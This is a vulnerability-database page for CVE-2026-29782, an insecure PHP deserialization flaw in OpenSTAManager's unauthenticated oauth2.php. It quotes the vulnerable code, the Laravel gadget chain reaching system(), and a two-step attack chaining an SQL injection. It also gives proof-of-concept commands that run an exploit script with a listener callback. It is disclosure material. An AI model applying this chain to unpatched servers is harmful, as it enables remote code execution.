Every CVE Search/ Get API key

CVE-2026-29782

OpenSTAManager: Remote Code Execution via Insecure Deserialization in OAuth2

7.2 HighPublic exploitFix available

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.59%Up 0.6 points since Apr 3, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

OpenSTAManager: Remote Code Execution via Insecure Deserialization in OAuth2

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2.

Record
CVE-2026-29782
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2026-18233 7.2

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2.

Record
EUVD-2026-18233
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-whv5-4q2f-q68g 7.2

OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2

Description

The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.

An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.

Affected code

Entry point — oauth2.php

$skip_permissions = true;                              // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';

$state = $_GET['state'];                               // Line 28: attacker-controlled
$code = $_GET['code'];

$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state);          // Line 51: triggers the chain

Deserialization — src/Models/OAuth2.php

// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;

// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;

unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.

Execution flow

oauth2.php (no auth)
  → configure()
    → needsConfiguration()
      → getAccessToken()
        → checkTokens()
          → unserialize($this->access_token)   ← attacker payload
            → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
          → $access_token->hasExpired()         ← PendingBroadcast lacks this method → PHP Error
        → During error cleanup:
          → PendingBroadcast.__destruct()       ← fires during shutdown
            → system($command)                  ← RCE

The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.

Full attack chain

This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:

  1. Payload injection (requires admin account): Via op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz_oauth2.access_token
  2. RCE trigger (unauthenticated): A GET request to oauth2.php?state=<known_value>&code=x triggers the deserialization and executes the command

Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.

Gadget chain

The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:

PendingBroadcast.__destruct()
  → $this->events->dispatch($this->event)
  → chain of __call() / __invoke()
  → system($command)

Proof of Concept

Execution

Terminal 1 — Attacker listener:

python3 listener.py --port 9999

Terminal 2 — Exploit:

python3 exploit.py \
  --target http://localhost:8888 \
  --callback http://host.docker.internal:9999 \
  --user admin --password <password>

<img width="638" height="722" alt="image"…

Record
GHSA-whv5-4q2f-q68g
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
NVD 7.2

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2.

Record
CVE-2026-29782
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 7.2

OpenSTAManager: Remote Code Execution via Insecure Deserialization in OAuth2

OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to version 2.10.2, the oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction. This issue has been patched in version 2.10.2.

Record
CVE-2026-29782
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-whv5-4q2f-q68g 7.2

OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2

Description

The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.

An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.

Affected code

Entry point — oauth2.php

$skip_permissions = true;                              // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';

$state = $_GET['state'];                               // Line 28: attacker-controlled
$code = $_GET['code'];

$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state);          // Line 51: triggers the chain

Deserialization — src/Models/OAuth2.php

// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;

// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;

unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.

Execution flow

oauth2.php (no auth)
  → configure()
    → needsConfiguration()
      → getAccessToken()
        → checkTokens()
          → unserialize($this->access_token)   ← attacker payload
            → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
          → $access_token->hasExpired()         ← PendingBroadcast lacks this method → PHP Error
        → During error cleanup:
          → PendingBroadcast.__destruct()       ← fires during shutdown
            → system($command)                  ← RCE

The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.

Full attack chain

This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:

  1. Payload injection (requires admin account): Via op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz_oauth2.access_token
  2. RCE trigger (unauthenticated): A GET request to oauth2.php?state=<known_value>&code=x triggers the deserialization and executes the command

Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.

Gadget chain

The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:

PendingBroadcast.__destruct()
  → $this->events->dispatch($this->event)
  → chain of __call() / __invoke()
  → system($command)

Proof of Concept

Execution

Terminal 1 — Attacker listener:

python3 listener.py --port 9999

Terminal 2 — Exploit:

python3 exploit.py \
  --target http://localhost:8888 \
  --callback http://host.docker.internal:9999 \
  --user admin --password <password>

<img width="638" height="722" alt="image"…

Record
GHSA-whv5-4q2f-q68g
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
devcode-it/openstamanager
Packagist
through 2.10.1
2.10.2
devcode-it/openstamanager
Packagist
before 2.10.2, plus listed versions
2.3.0v2.10-betav2.10.1v2.4v2.4.1
Show 45 moreShow less
v2.4.10v2.4.11v2.4.12v2.4.13v2.4.14v2.4.15v2.4.16v2.4.17v2.4.17.1v2.4.18v2.4.19v2.4.2v2.4.20v2.4.21v2.4.22v2.4.23v2.4.24v2.4.25v2.4.26v2.4.27v2.4.28v2.4.29v2.4.3v2.4.30v2.4.31v2.4.32v2.4.33v2.4.34v2.4.35v2.4.36v2.4.37v2.4.38v2.4.39v2.4.4v2.4.40v2.4.41v2.4.42v2.4.43v2.4.44v2.4.45v2.4.46v2.4.47v2.4.48v2.4.49v2.4.5
2.10.2

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubhackerking24/CVE-2026-29782-OpenSTAManager-RCE2026-09-08

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-29782 is a high vulnerability (CVSS 7.2) in Devcode Openstamanager, published April 1, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in devcode-it/openstamanager 2.10.2.

References

This page doesn't list everything

Left out here: 39 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open